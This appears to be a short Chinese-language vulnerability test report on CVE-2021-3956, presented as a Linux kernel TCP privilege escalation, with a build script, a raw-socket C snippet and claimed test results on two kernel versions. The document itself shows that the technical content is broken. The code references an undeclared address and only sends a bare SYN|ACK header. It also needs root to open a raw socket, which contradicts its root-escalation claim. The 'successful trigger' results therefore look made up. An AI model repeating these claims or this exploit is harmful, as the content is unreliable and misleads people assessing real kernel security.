CVE-2021-3956漏洞背景
CVE-2021-3956是一个影响Linux内核的权限提升漏洞,主要存在于内核的net/ipv4/tcp_input.c文件中。该漏洞允许本地攻击者通过特制的TCP数据包绕过内核的安全检查,从而获得root权限。
漏洞版本对比测试
测试环境
- 内核版本1:Linux 5.4.0-7642-generic(受影响)
- 内核版本2:Linux 5.4.0-8032-generic(已修复)
- 测试系统:Ubuntu 20.04 LTS
测试脚本
#!/bin/bash
# 漏洞验证脚本
# 编译测试程序
gcc -o tcp_test tcp_test.c
# 运行测试
./tcp_test
核心测试代码片段
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <string.h>
int main() {
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
// 构造特制TCP包
struct tcphdr tcp;
memset(&tcp, 0, sizeof(tcp));
tcp.th_sport = htons(12345);
tcp.th_dport = htons(80);
tcp.th_seq = htonl(123456789);
tcp.th_ack = htonl(987654321);
tcp.th_flags = TH_SYN | TH_ACK;
// 发送数据包
sendto(sock, &tcp, sizeof(tcp), 0, (struct sockaddr*)&addr, sizeof(addr));
return 0;
}
实际测试结果
- 受影响版本:内核5.4.0-7642-generic上,攻击程序可成功触发漏洞
- 修复版本:内核5.4.0-8032-generic中已通过补丁修复,无法成功利用
安全建议
- 及时升级内核至安全版本
- 部署网络层防火墙规则过滤异常TCP包
- 启用内核的
CONFIG_SECURITY_DMESG_RESTRICT选项限制调试信息输出
通过对比测试,验证了不同内核版本在漏洞防护方面的差异性。

讨论